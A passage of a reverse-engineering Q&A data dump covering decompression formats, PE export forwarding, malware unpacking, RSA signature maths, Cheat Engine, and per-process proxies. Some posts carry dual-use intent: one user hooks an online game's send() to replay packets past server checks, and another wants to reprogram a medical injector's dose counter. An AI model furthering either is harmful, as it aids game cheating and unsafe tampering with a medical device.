(distance == 0x1E)&#xA;                distance = *(compressed_ptr++) + 0x1E;&#xA;            else if (distance &amp;gt; 0x1E)&#xA;            {&#xA;                distance += *compressed_ptr;&#xA;                distance += (*(++compressed_ptr) &amp;lt;&amp;lt; 8) + 0xFF;&#xA;                compressed_ptr++;&#xA;            }&#xA;&#xA;            backwards_ptr = decompressed_ptr - distance - 1;&#xA;            for (j = length; j &amp;gt; 0; j--)&#xA;                *(decompressed_ptr++) = *(backwards_ptr++);&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21139" LastActivityDate="2017-08-08T23:39:22.100" Title="What compression algorithm is this?" Tags="|decompress|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16023" PostTypeId="1" AcceptedAnswerId="16024" CreationDate="2017-08-06T22:16:05.163" Score="3" ViewCount="2198" Body="&lt;p&gt;I'm writing an analog of &lt;code&gt;GetProcAddress&lt;/code&gt; function. When looking inside the export table I see the exports like this in advapi32.dll for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:4C362BAA aEventregister  db 'EventRegister',0    ; DATA XREF: .text:off_4C35FE10o&#xA;.text:4C362BB8                                         ; Exported entry 1290. EventRegister&#xA;.text:4C362BB8                 public EventRegister&#xA;.text:4C362BB8 EventRegister   db 'ntdll.EtwEventRegister', 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it is like a redirect to ntdll function. How to process these entries and how to detect if they lead to another library call?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I just find the function ordinal by name and get its address, but for exports like this addresses are invalid (inside the address there is junk code).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to just read the string &lt;code&gt;ntdll.EtwEventRegister&lt;/code&gt; at the ordinal address, split it by dot and get dll/function names?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is the case, how do I detect that the export address is just a string with this dll/function name? I need to somehow check if there is a valid string there, there should be other way, like some flag etc.&lt;/p&gt;&#xA;" OwnerUserId="21143" LastEditorUserId="60" LastEditDate="2017-08-07T13:37:48.013" LastActivityDate="2023-11-08T23:15:51.397" Title="Exports that redirects to other library" Tags="|disassembly|c|pe|executable|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16024" PostTypeId="2" ParentId="16023" CreationDate="2017-08-06T22:37:51.247" Score="4" Body="&lt;p&gt;This is called export forwarding and you can explore it here with nice explanation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pelib.com/resources/luevel.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;The PE file format&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The next 32-bit-value 'AddressOfFunctions' is a RVA to the list of&#xA;  exported items. It points to an array of 'NumberOfFunctions'&#xA;  32-bit-values, each being a RVA to the exported function or variable.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;There are 2 quirks about this list: First, such an exported RVA may be&#xA;  0, in which case it is unused. Second, if the RVA points into the&#xA;  section containing the export directory, this is a forwarded export. A&#xA;  forwarded export is a pointer to an export in another binary; if it is&#xA;  used, the pointed-to export in the other binary is used instead. The&#xA;  RVA in this case points, as mentioned, into the export directory's&#xA;  section, to a zero-terminated string comprising the name of the&#xA;  pointed-to DLL and the export name separated by a dot, like&#xA;  &quot;otherdll.exportname&quot;, or the DLL's name and the export ordinal, like&#xA;  &quot;otherdll.#19&quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2021" LastActivityDate="2017-08-06T22:37:51.247" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16025" PostTypeId="2" ParentId="16023" CreationDate="2017-08-06T22:40:00.423" Score="1" Body="&lt;p&gt;Short answer: No, you don't have to guess it's a string. There's a 'trick'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But first, some background: export forwarding is a legitimate and useful functionality piece. There are a handful of documentation describing how imports are loaded by the PE loader unfortunately export forwarding documentation is a little harder to  come by and most of articles only mention export forwarding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key to identifying if you're processing an export forward is, a described &lt;a href=&quot;https://en.wikibooks.org/wiki/X86_Disassembly/Windows_Executable_Files#Forwarding&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Forwarding is achieved by making an RVA in the AddressOfFunctions array point into the section which contains the export directory, something that normal exports should not do. At that location, there should be a zero terminated ASCII string of format &quot;LibraryName.ExportName&quot; for the appropriate place to forward this export to.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If the RVA in the AddressOfFunctions array points to the exports section, that function is forwarded and can't be located in the DLL being loaded. Instead, the value pointed should be interpreted as a null-terminated string, another module should be loaded and the loading process should be repeated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case the dot is followed by the hash sign, the forward entry points to an export by ordinal, not name, and the digits following the hash sign are the ordinal number of target function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note an API may be forwarded multiple times before being reached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, if you're handling bound imports you should make sure to treat &lt;code&gt;ForwarderChain&lt;/code&gt; properly, see the following from the same article:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Binding can of course be a problem if the bound library / module forwards its exports to another module. In these cases, the non-forwarded imports can be bound, but the values which get forwarded must be identified so the loader can resolve them. This is done through the ForwarderChain member of the import descriptor. The value of &quot;ForwarderChain&quot; is an index into the FirstThunk and OriginalFirstThunk arrays. The OriginalFirstThunk for that index identifies the IMAGE_IMPORT_BY_NAME structure for a import that needs to be resolved, and the FirstThunk for that index is the index of another entry that needs to be resolved. This continues until the FirstThunk value is -1, indicating no more forwarded values to import.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For additional reading about the PE format and imports in particular, I recommend &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/ms809762.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; resource.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2017-08-06T22:56:24.010" LastActivityDate="2017-08-06T22:56:24.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16026" PostTypeId="2" ParentId="15988" CreationDate="2017-08-06T23:03:27.357" Score="1" Body="&lt;p&gt;Generally, solution is to properly understand what the malware does instead of just breakpointing &lt;code&gt;VirtualAlloc&lt;/code&gt; and waiting for a functioning PE to be handed to you on a silver platter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This usually entails debugging the malware before PE file is being loaded and and after the VirtualAlloc call is made, and taking not on everything done on the file. It might be beneficial to use a more interactive debugger for that phase, such as IDA or radare2, so tracking manipulation of the file will be easier.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2017-08-06T23:03:27.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16027" PostTypeId="1" AcceptedAnswerId="16028" CreationDate="2017-08-07T05:59:56.720" Score="1" ViewCount="519" Body="&lt;p&gt;An executable that access the Internet uses my IP to do so. Is it be possible, with the help of a software or something like that, to change what IP an executable uses to access the Internet? Without the need to change/mask all my system's IP at once. The solution should be able to change a single executable IP, maybe a pack of executables would also work for me.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an executable that sends information to a host, and I need to open 2 or more instances of that executable and need they to reach the host with different IPs.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;My IP -&amp;gt; qqq.qqq.qqq&#xA;Executable 1 -&amp;gt; xxx.xxx.xxx&#xA;Executable 2 -&amp;gt; yyy.yyy.yyy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where Executable 1 and 2 can use proxy, IP that change all the time, doesn't matter -- they just need to reach the host with different IPs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Possible easy solution I read once:&lt;/strong&gt;&lt;br&gt;&#xA;Create a virtual machine and use a proxy software  on it, programs from my main computer would use my IP, programs from virtual machine would use proxy software IP&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if i could avoid this solution, would be nicer.&lt;/p&gt;&#xA;" OwnerUserId="21054" LastEditorUserId="18698" LastEditDate="2017-08-07T08:25:31.947" LastActivityDate="2017-08-07T08:25:31.947" Title="Change sending IP of only certain executable" Tags="|tools|executable|packet|address|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16028" PostTypeId="2" ParentId="16027" CreationDate="2017-08-07T07:41:24.263" Score="5" Body="&lt;p&gt;&lt;em&gt;Following OP's other questions, assuming Windows OS&lt;/em&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be achieved with many 3rd-party solutions for Windows, choose the one which fits best to your needs:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Proxifier&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Proxifier allows network applications that do not support working&#xA;  through proxy servers to operate through a SOCKS or HTTPS proxy and&#xA;  chains.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;https://www.proxifier.com/&quot; rel=&quot;noreferrer&quot;&gt;https://www.proxifier.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ProcxyCap&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ProxyCap enables you to redirect your computer's network connections&#xA;  through proxy servers. You can tell ProxyCap which applications will&#xA;  connect to the Internet through a proxy and under what circumstances. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;http://www.proxycap.com/&quot; rel=&quot;noreferrer&quot;&gt;http://www.proxycap.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ForceBindIP&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ForceBindIP is a freeware Windows application that will inject itself&#xA;  into another application and alter how certain Windows socket calls&#xA;  are made, allowing you to force the other application to use a&#xA;  specific network interface / IP address. This is useful if you are in&#xA;  an environment with multiple interfaces and your application has no&#xA;  option to bind to a specific interface.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;https://r1ch.net/projects/forcebindip&quot; rel=&quot;noreferrer&quot;&gt;https://r1ch.net/projects/forcebindip&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I used &lt;a href=&quot;https://www.proxifier.com/&quot; rel=&quot;noreferrer&quot;&gt;Proxifier&lt;/a&gt; in the past for gaming and torrenting purposes and it might be what you're searching for.  &lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2017-08-07T07:41:24.263" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16029" PostTypeId="2" ParentId="15992" CreationDate="2017-08-07T08:17:56.097" Score="1" Body="&lt;p&gt;The hint is right there in the quoted text:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;taking the signature s raised to the power of 3 modulus n we wind up&#xA;  with the following value&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is the classical &lt;a href=&quot;https://simple.wikipedia.org/wiki/RSA_(algorithm)#Decrypting_messages&quot; rel=&quot;nofollow noreferrer&quot;&gt;RSA decryption&lt;/a&gt; operation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In our case:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;s=0xa73e111de512e09bad2dc08eff685a384fc032192a20fd1e242ad64af5b509a76a7432f754aff0d6b74a7ec2072cbb11e91f68f569508b77712d1869edd6d0b9923eb77ba815dba8e44d5e09412cdf2e830518f3b38d48df892a3a0c65cc67f109e5e0f5f06ce0376d032ab21051510f3dab7f75fcdf54a96d8aa7f3c617f76d&#xA;e=3&#xA;n=0xC0F389EEC7B66C9DC736508FF88AEB1FB113942EAD020814D08D29E868F14B2086BCD7DDCCBA7559F999E76D24619660BBE17434DA59988087F2A99CD465B1FF423522B78CB0DE463A669613D356DFA9E86E0E2E0B6DAB5DE89131C5A0727AEAB1767278AB101DCD9C3CFC1026705C1DAB3BF53BF50AFAFB3F52DA2CEB0BEE57&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Calculation can be done in any calculator supporting long numbers. I usually use Python, since it has the &lt;a href=&quot;https://docs.python.org/2/library/functions.html#pow&quot; rel=&quot;nofollow noreferrer&quot;&gt;pow function&lt;/a&gt; which accepts the modulo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; x = pow(s, e, n)&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; hex(x)&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;'0x1ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff003021300906052b0e03021a050004145e3246e50a4dad079a61f99fa3297c01d802e038L'&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-08-07T08:17:56.097" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16030" PostTypeId="1" CreationDate="2017-08-07T08:38:43.120" Score="1" ViewCount="121" Body="&lt;p&gt;I need to make a little introduction: I'm a 37 years old man who is affected by multiple sclerosis. My neurologist gave me Rebif 44 (44mg) as a treatment. I started at full dose and went on for, roughly, a year, but it become clear that I could not go on like that as my immune system would go down too much. Taking half the dose is, instead, too little, so switching to Rebiff 22 (22mg) was not an option. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We went to an intermediate dose: 70% of Rebif 44, which translates to 30.8mg.&#xA;The question comes because any Rebismart 2 device only gives 72 reduced doses of Rebif 44, which only last for half a year (while, using the injector normally, it could last for 3-5 years). After that, the only option is to have a new injector.&#xA;Everyone of these devices are quite costly, at around 500€/$. &#xA;Mind: I don't have to pay for them, as it is the government health system that takes care of it.&#xA;But it is a waste of money nonetheless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, after a couple of injector stashed away, I got more and more interested on how to access the programming of these devices and how, if possible, to reset or reprogram those 72 injections. I could not find any answer on the internet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I tore apart one of the injectors and found out it has the microcontroller said in the title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I don't have programming skill whatsoever, so I don't even know how and where to start doing these kind of things. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I link a couple of images i took with my cellphone, so anyone can have a look at the motherboard and chips.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be fantastic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/drive/folders/0B-41ngW_8ao9T2F2NWpLYnFXWGc?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/drive/folders/0B-41ngW_8ao9T2F2NWpLYnFXWGc?usp=sharing&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="21146" LastActivityDate="2019-10-23T20:41:13.260" Title="Trying to read/write an Renesas's M30626FHPGP flash memory" Tags="|disassembly|memory|hardware|memory-dump|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16031" PostTypeId="2" ParentId="15988" CreationDate="2017-08-07T10:39:14.920" Score="2" Body="&lt;p&gt;hasherezade from malwarebytes did an excellent analysis for Red Petya (version 1) including a step-by-step process on &lt;a href=&quot;https://blog.malwarebytes.com/threat-analysis/2016/04/petya-ransomware/&quot; rel=&quot;nofollow noreferrer&quot;&gt;how to unpack it&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;However, if we try to dump it, we don’t get a valid executable. Its data directories are destroyed. The PE file have been processed by the cryptor in order to be loaded in a continuous space, not divided by sections. It lost the ability to run independently, without being loaded by the cryptor’s stub. Addresses saved as RVA are in reality raw addresses.&#xA;  I have remapped them using a custom tool, and it revealed more information, i.e. the name of this PE file is Setup.dll:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12693" LastActivityDate="2017-08-07T10:39:14.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16032" PostTypeId="1" AcceptedAnswerId="16068" CreationDate="2017-08-08T04:50:04.517" Score="0" ViewCount="2238" Body="&lt;p&gt;I made a DLL that hooks the send function of an MMORPG game. When the &lt;code&gt;send()&lt;/code&gt; function is called, it will send the packet in a loop until I stop it instead of just sending the packet one time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is the packets are encrypted. And, the server checks every packet sent from the client. If the packet that the server expect does not match from what the client sent, the server will disconnect you. So, even if you disable the encryption code in the client, it will still get verified on the server side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I manage to disable the encryption of the packet by modifying the binary but I still get disconnected because of the above statement. And, I can't send it in an infinite loop because each packet should be different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Info:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Only the packets sent from client to server are encrypted. The packets from server to client are not encrypted.&lt;/li&gt;&#xA;&lt;li&gt;Only the first 2 bytes of the packet is encrypted. The remaining 8 bytes are not. The size of the packet is 10 bytes.&lt;/li&gt;&#xA;&lt;li&gt;I found the function (written in assembly) where it generates the dynamic key used to encrypt the first 2 bytes. I wanted to use that codes but I don't know how to translate them into a higher level language like c++.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Decryption Function&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unsigned short clif_decrypt_cmd( int cmd, struct map_session_data *sd ) {&#xA;  if (sd) {&#xA;    return (cmd ^ ((sd-&amp;gt;cryptKey &amp;gt;&amp;gt; 16) &amp;amp; 0x7FFF));&#xA;  }&#xA;  return (cmd ^ ((((clif-&amp;gt;cryptKey[0] * clif-&amp;gt;cryptKey[1]) + clif-&amp;gt;cryptKey[2]) &amp;gt;&amp;gt; 16) &amp;amp; 0x7FFF));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How can I achieve my goal to send the packet in an infinite loop if each packet is checked by the server?&lt;/li&gt;&#xA;&lt;li&gt;Should I use the function that encrypts the first two bytes before sending each time I send it?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="21159" LastEditorUserId="2959" LastEditDate="2020-05-07T11:15:50.443" LastActivityDate="2020-05-07T11:15:50.443" Title="Reverse Packet Encryption with server side checks" Tags="|ida|disassembly|assembly|ollydbg|debugging|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16033" PostTypeId="2" ParentId="16021" CreationDate="2017-08-08T09:21:15.397" Score="2" Body="&lt;p&gt;Most general purpose LZ77-like formats are optimized for efficient  insertion of individual literal characters, and for the arbitrary sequence of literals and backward references - this is useful to achieve good compression rates on  natural language text as well on text-like binary data (executable code). They also have a notion of a sliding dictionary window to handle files or streams of arbitrary sizes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The routine in your question appears to handle a format adapted specifically for in-memory data (note the absence of a sliding window) with many (up to 8 in a row) consecutive references to the decompressed buffer, interspersed with occasional long strings that have to be copied literally. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that there are only two ways to add characters to the decompressed stream: by literal copying using a memcpy call, and by copying in a loop using the backwards pointer. In other words, these two modes of operation are &quot;copying a (fairly long) dictionary from the compressed stream&quot;, and &quot;reading references to the dictionary from the compressed stream and copying strings from the dictionary&quot;. There is no special provision for individual literal characters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any straightforward implementation of an LZ77 compression algorithm (a function of a character string into a stream of tokens &quot;literal character&quot; or &quot;distance/length&quot;) would do. Then you'll be able to write a program to pack these tokens according to the limitation of the format (pay attention to the magic value 0x1011D). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, as you're unlikely to be limited by the media size, you may avoid the need to do any actual compression (the analog of compression level 0). For your purposes, it could be enough to represent all the data as a sequence of long literals, using the &quot;distance&quot; field for the length of literal string and setting the &quot;length&quot; field to 0 to indicate that there are no dictionary references following the literal string. Repeat until the data is exhausted.&lt;/p&gt;&#xA;" OwnerUserId="18386" LastActivityDate="2017-08-08T09:21:15.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16034" PostTypeId="1" AcceptedAnswerId="16037" CreationDate="2017-08-08T12:57:21.567" Score="2" ViewCount="1039" Body="&lt;p&gt;I'm not an expert in reversing and even though Googling is usually enough, this time I can't find a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this program that calculates a value from some data it received from a server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know the final value and I managed to find it in the memory after the calculation is done, but I want to know which instruction wrote it in the memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do that with IDA Pro? I thought about the trace replayer but I never used it and from what I can read this wouldn't work. If not, is there any other disassembler that would make it possible?&lt;/p&gt;&#xA;" OwnerUserId="21164" LastEditorUserId="20928" LastEditDate="2017-08-08T14:48:52.497" LastActivityDate="2017-08-08T14:48:52.497" Title="How to find out which instruction wrote to a specific address?" Tags="|ida|memory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16036" PostTypeId="1" CreationDate="2017-08-08T13:32:18.810" Score="4" ViewCount="2119" Body="&lt;p&gt;For any dynamic executable on Linux there is a dynamic linker that stores the current symbol bindings somewhere. So when a new library is loaded it knows whether to bind the symbol or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example when two shared objects contain the same symbol, the first one loaded will bind the symbol and subsequent loads won't rebind the symbol. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this means there should be a register somewhere in memory that stores the current bindings. How can I access it? What format does it have? How portable is it (what's the chance my program that lists the symbols will work on other computers)?&lt;/p&gt;&#xA;" OwnerUserId="15826" LastActivityDate="2017-08-09T08:17:31.323" Title="How can I view the dynamic symbol table of a running process?" Tags="|linux|symbols|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16037" PostTypeId="2" ParentId="16034" CreationDate="2017-08-08T14:30:36.273" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://github.com/cheat-engine/cheat-engine&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cheat Engine&lt;/a&gt; is a wonderful dynamic analysis tool for tasks like this. Simply find the memory address storing your value, add it to the address list at the bottom (by double-clicking on it in the results window to the left of the scan box, or click the &lt;em&gt;Add Address Manually&lt;/em&gt; button if you have the address to add), then right-click on the address and choose &quot;Find out what writes to this address,&quot; as pictured here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wQ7HH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wQ7HH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A window will then pop up showing any instructions that write to the address (note that you may have to make the value change before the instruction shows as writing to the address). Also be mindful of the installer as CE is bundled with &quot;offers&quot; you'll most likely want to decline.&lt;/p&gt;&#xA;" OwnerUserId="20928" LastEditorUserId="20928" LastEditDate="2017-08-08T14:37:50.230" LastActivityDate="2017-08-08T14:37:50.230" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16038" PostTypeId="2" ParentId="16036" CreationDate="2017-08-08T15:10:47.440" Score="3" Body="&lt;p&gt;The structure holding the list of loaded shared objects is called &lt;a href=&quot;https://github.com/lattera/glibc/blob/master/include/link.h&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;link_map&lt;/code&gt;&lt;/a&gt; and is stored inside the dynamic linker (rtld or ld.so, depending on the platform).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AFAIK there is no official standard for it but the most common implementation (glibc) uses the &lt;code&gt;GOT[1]&lt;/code&gt; entry to store a pointer to the link map and the PLT stubs passes it to the dynamic symbol resolver (by jumping to the address in &lt;code&gt;GOT[2]&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a great article giving the overview of all this as well as more references to other places: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://s.eresi-project.org/inc/articles/elf-rtld.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://s.eresi-project.org/inc/articles/elf-rtld.txt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend you installing symbols+sources for glibc and stepping through the dynamic calls in gdb to see how they're resolved, or even just reading the source code &quot;offline&quot;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2017-08-09T08:17:31.323" LastActivityDate="2017-08-09T08:17:31.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16041" PostTypeId="2" ParentId="16021" CreationDate="2017-08-08T23:39:22.100" Score="8" Body="&lt;p&gt;As you say it is an LZ77 style format, however I could not find a specific algorithm which it matches.  The compressed data forms a number of blocks, each of which contain at least one of some data, or some back references.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Format&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Based on the code I've put together a listing of the data structure of the compressed data.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Block&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The format of each block is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Section                | Length&#xA;-----------------------|-------&#xA;Header                 | 1 to 3 Bytes (see header explanation)&#xA;Data                   | 0 to 0x1011D (65821) Bytes&#xA;Back references        | 0 to 8 occurences of 1 to 4 Bytes (see back reference explanation)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Header&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The header is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Section                | Length&#xA;-----------------------|-------&#xA;Num Back References    | 3 bits&#xA;Data Length            | 5 bits&#xA;Additional Data Length | 0 to 2 Bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The number of back references is encoded into the first 3 bits as a 1 indexed number, allowing a number from 1 (&lt;code&gt;0b000&lt;/code&gt;) to 8 (&lt;code&gt;0b111&lt;/code&gt;).&#xA;In the case that more than 8 back references are required a data length of 0 can be set so you can have several consecutive blocks containing only back references.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data length is encoded into the next 5 bits.&#xA;If the data length is less than &lt;code&gt;0x1E&lt;/code&gt; (30) then it is encoded directly into the top 5 bits of the header.&#xA;If it is between &lt;code&gt;0x1E&lt;/code&gt; and &lt;code&gt;0x11E&lt;/code&gt; (286) then a single additional byte will be used, this byte should be the length of the data - &lt;code&gt;0x11E&lt;/code&gt;.&#xA;If it is between &lt;code&gt;0x11E&lt;/code&gt; and &lt;code&gt;0x1011D&lt;/code&gt; (65821) then two additional bytes are used as a 16 bit number, which should be the length of the data - &lt;code&gt;0x11E&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the data length is the maximum possible (&lt;code&gt;0x1011D&lt;/code&gt;) then the number of back references is reduced by one, allowing 0 back references.  This allows consecutive data sections without back references.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Back reference&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The format of the back references is similar to that of the header:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Section                | Length&#xA;-----------------------|-------&#xA;Data Length            | 3 bits&#xA;Data Distance          | 5 bits&#xA;Additional Data Length | 0 to 1 Byte&#xA;Additional Distance    | 0 to 2 Bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The length of data (in bytes) to which the reference refers is encoded into the first 3 bits, allowing length of 0 - 7.&#xA;If the length is greater than 7 then these 3 bits are set to 0 and an additional byte is added, containing the length - 7, this allows lengths of up to 262 bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The distance represents the position of the back reference, in bytes back from the current end of the decompressed data.  The distance and additional distance bytes are calculated in the same way as the Data Length in the header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When set, each back reference will copy the calculated data length in bytes from &lt;code&gt;current_position - distance - 1&lt;/code&gt; to the output stream.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a special case of a back reference with the 